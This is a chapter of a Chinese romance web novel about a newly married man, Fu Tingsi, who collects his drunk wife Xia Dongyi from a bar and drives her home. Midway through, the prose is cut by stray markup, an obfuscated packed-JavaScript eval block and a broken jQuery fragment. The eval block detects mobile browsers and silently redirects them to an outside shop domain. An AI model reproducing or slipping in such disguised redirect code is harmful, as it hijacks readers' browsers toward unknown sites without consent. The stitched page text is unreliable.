傅亭斯没想到会在这里遇上夏冬意。
他身边这个是陈勘,万彩集团少东家,也就是这家酒吧现在的老板。他俩在留学那会儿就认识了,回国以后偶尔也会聚聚,和陈勘在一起基本上谈的都是生意经,他是个十足十的工作狂人。
不过今天只是单纯的好友聚会,一块的还有陈勘的几个朋友。
一坐下,陈勘就留意到了傅亭斯无名指上的戒指,很明显是一枚婚戒。
陈勘目光指了指那,问:“什么时候结婚的?”
傅亭斯摸了摸婚戒,低头含笑:“今天上午。”
“动作这么迅速,喜酒可不能少啊。”
傅亭斯似乎想起了什么,嘴角的笑意敛了几分。
“嗯,少不了。”
在楼上的包厢待了有一个小时,陈勘说还要找经理谈点事,就一起下来了。
陈勘和经理谈着正事,偶尔间询问一下傅亭斯的意见。百无聊赖之间听到不远处的骚动,极轻微的,却还是吸引到了他的注意。
旁边有人对另一个说道:“你看那边那穿吊带亮片的,长得还挺正点,正往这看呢,不知道在看我们这的谁。”
恰好,傅亭斯的目光在不远处那个女人身上定格。
她穿着一条她往常从来没穿过,也不会穿的,吊带鱼尾裙,上面的亮片像鱼的鳞片一样,就算在酒吧昏暗的光线下,也叠荡着无比绚烂的波光。
傅亭斯从来没想到,她穿这样一身,竟会如此好看,腰是腰,臀是臀,胸型饱满,搭配着妆容,妩媚不失清靓,和平常完全不同的感觉。
只是,夏冬意怎么会出现在这里?
他没有忘记今天上午分开之前,是她亲口告诉他的。
她挺忙的。
都忙到酒吧来了。
确实够忙的。
—
现在跑还来得及吗?
夏冬意不太清醒地思考着这个不太清醒的问题。
旁边那两个兴奋得要死。
“靠啊,翘臀帅哥看过来了,靠啊,好像在看我们咚咚。咚咚,你在干什么咚咚?”
只见夏冬意拂开了她们,撑着桌子,用力往下压了压,勉强将歪斜的身子站直了。前脚迈开,虚晃两下,给郁吱吱和孙苒宁惊出一身汗,在身后拖住她,悄声说:“大姐,您都喝醉了,别去丢人现眼了……”
话没说完,被夏冬意推开,嘴里嘟囔:“我没醉!谁说我醉了我跟谁没完。”
力气还挺大,把两人推到了旁边,走起了标准的猫步。
那鱼尾裙上的亮片一晃一晃的,像极了一条美人鱼,在酒吧流光溢彩的光影下穿梭着。
而这整个过程,傅亭斯单手插兜,连眼神都是极静的,淡漠着,观摩着她的表演。
仿若匍匐在暗处,洞察一切的猎豹。
走了几步,夏冬意停下,身体站不住,她索性整个上半身挨住路过的柱子上,像一尾蛇,扶在上面,直勾勾的,模样妩媚地盯着男人,抬起手打了个风情万种的招呼:“嗨,别来无恙。”
“……”
郁吱吱和孙苒宁想拉住她已经晚了,这会儿后悔也已经来不及了,只想来个消失术。
让人意料不到的事发生了。
就在夏冬意做完让人大跌眼镜的举动后,对面的男主低头抿着唇角,似乎是极力隐忍着嘴角的笑意。
下一秒,笔直朝夏冬意走了过来。
郁吱吱和孙苒宁简直呆住了,眼前这场景简直比电视剧还精彩。
同样呆住的还有傅亭斯身边的人。
就连陈勘也停下了交谈,侧过头来。他先是看向夏冬意,接着视线回到傅亭斯身上,眼里闪过疑问。
傅亭斯特意收住脚步,侧身对他说道:“那是我老婆。”
“合法的。”
陈勘:“……”
傅亭斯人高腿长,步子大,没等郁吱吱和孙苒宁反应过来,人已到了夏冬意面前。
夏冬意仰着头,眼里醉意萌态,傻兮兮地朝着他笑:“你怎么……”她指着傅亭斯身后的位置,“从那里咻的一下……到这里的?你会魔法吗?”
“……”
满身的酒气,傅亭斯皱了皱眉:“喝了多少酒,醉成这样?”
“不多不多,”夏冬意伸出两根手指:“你最爱的血腥玛丽,嗝。”
傅亭斯嫌弃般的,侧了侧身,伸手在她面前扇了扇,又低头扫向裸露在空气中的雪白肌肤,还有一扫眼就抓人眼球的,那饱满的事业线。
傅亭斯侧身挡住了投注在她身上那几道不怀好意的目光,一手揽住夏冬意的腰肢,一手按住她的肩膀,正要将人抱起来的时候,郁吱吱和孙苒亭突然醒悟了过来,发了疯似的冲过来,扒拉着傅亭斯,嘴里乱七八糟叫着:“你要把她带到哪里去,就算你长得帅,你也不能乱来吧,喂喂喂,这里有保安吗,那个是不是你们老板,叫他过来……”
场面一度失控,耳边闹哄哄的。傅亭斯不耐烦地皱了皱眉,饶是这样也没将这俩姑娘推开,而是等这两人稍稍的安静下来时,淡淡说道:“我抱我自己的老婆,有什么问题?”
郁吱吱和孙苒宁怎么可能会相信,两人将傅亭斯挤到一边,一个扶着夏冬意的肩膀,另一个捧着她的脸,苦口婆心地喊道:“咚咚,你清醒一点啊,你认识他吗?”
虽然知道绝无可能认识,但再怎么说也要给帅哥一个面子吧。
谁知道。
夏冬意呆滞的目光,徐徐地抬起,定格在男人脸上,忽然歪嘴笑道:“哦,认得,我家旺财,不对,旺财怎么长得这么像傅亭斯这条狗呢?”
在夏冬意一字一顿叫出“傅亭斯”三个字的时候,郁吱吱和孙苒宁无一例外地同时石化住了,目送着傅亭斯抱着夏冬意离开。
夏冬意趴在男人的肩膀上,向身后的姐妹们吆喝着:“不要走啊,我还没喝过瘾呢,下次再一块儿喝啊。”
“……”
—
傅亭斯把醉醺醺的人抱进副驾,手撑着座位,低身帮她系安全带,出来的时候,夏冬意忽然靠近过来,带着酒气的唇瓣似羽毛般的擦过他的嘴唇。
昏暗的车厢里,近在咫尺的呼吸和体温,所有的动作都在那个当下停滞。傅亭斯喉结轻滚,调整了一下呼吸,正要往后撤开,一个清脆的巴掌拍在了他脸上。
夏冬意含混不清,骂骂咧咧:“臭东西,不学好,小小年纪,学流氓吃人豆腐……”
说着,扬高了手,第二个巴掌正要招呼下来,被傅亭斯握住了手腕,目光沉沉地望着她。
夏冬意歪着头,盈亮的眸子里裹着一层湿漉感,像动物幼年时候那样懵懵懂懂看着傅亭斯。
“看清楚了,我是谁?”傅亭斯松开了她。
夏冬意瞅了他半天,不确定的说:“难道你是程哥哥吗?”</
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14054634|149142||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
p>
程哥哥是夏冬意给程子衡取的昵称,还说过,这是她独有的专属。当时傅亭斯就觉得挺恶心人的,时隔多年,再次听到,依旧这么认为。
他对程子衡没多大好感,理由不仅仅只是因为这个恶心人的昵称。
程子衡实夏冬意高中的校草,大夏冬意一届,是学校合奏团的领队,精通好几种乐器,属于校园里白衬衫男神那种类型。
这样的男生自然是众多女生追捧的对象。夏冬意也是其中之一。她和程子衡在一场晚会上认识,夏冬意是主持人,程子衡带领的合奏团在那次晚会上取得了圆满的成功。
夏冬意在早之前就听闻了程子衡的大名,见到本人以后,天天在傅亭斯面前夸他斯文温柔有气质。还说,我要不喜欢程子衡吧,反正我也没有喜欢的人。
傅亭斯不堪其扰,特意因这事去夏冬意学校找她。见过了程子衡以后,傅亭斯笑话夏冬意没见过世面。
“就这?校草?那也是因为我没在你们学校。”
吓得夏冬意紧忙捂住他嘴巴,偷偷地扫了扫周围,对他说:“你可闭嘴吧,别连累我挨揍。”
现在想起来还是让人无语的程度。
都到今天了,夏冬意还能在喝醉酒的时候,想起那个人来,傅亭斯气得胃疼,反而笑了:“我还是你爸呢。”
夏冬意却摇了摇头:“不对,程子衡没这么丑,我爸也……”她又摇摇头,“没这么丑。”
“……”
傅亭斯自己也不明白,为什么跟一个喝得醉醺醺的人在这里较真这些。
说不定明天早上起来,她丁点都记不起来了。
只有他自己耿耿于怀。
自嘲笑了笑,傅亭斯将人按回座位:“睡觉吧。”
关上了夏冬意的车门。
绕过车头上了车。
正要开车,傅亭斯突然感到肩膀一重。
往旁边看去。
夏冬意不知什么时候睡着的,整个身体歪向了这边,不顾形象地靠在了他身上。安全带似乎都箍不住她。
呼吸清浅匀长,混着酒气,一下一下地萦绕在他周围。
她这样他是没办法好好开车的。
迟疑了一下,傅亭斯把她头扶正。
她的姿势并不舒展,大概是很不舒服,眉心也浅皱起来。
傅亭斯解开自己的安全带,靠过去,按动她的座椅按钮,整个椅子往后移,椅背放倒,又在她怀里放了个枕头,这才重新坐正身子,启动车子。
安静的车厢里只有仪表的走动着,傅亭斯开着车,不时间朝旁边扫两眼,察看夏冬意的情况。
车开到半途中,夏冬意似乎清醒过来了。
嘴里喃喃地叫:“傅亭斯。”
傅亭斯手扶着方向盘,侧过头去,一个单音节回她:“嗯?”
“你开车稳一点好不好,我好不舒服,好想吐啊。”
傅亭斯朝仪表盘瞥了眼,不禁想笑。
他一个洁癖那么重的人,竟能忍受一个小醉鬼坐他车上,一辆跑车开得比蜗牛还要慢,还指责他开的不够稳。
对此,他竟然还不能发脾气。
因为待会儿,这人没准还会指控他凶人。
这不是她第一次喝醉酒,对于她的路数,傅亭斯不要太了解。
于是他也只好放软语气。哄着她。
拖长着语调回答:“行——”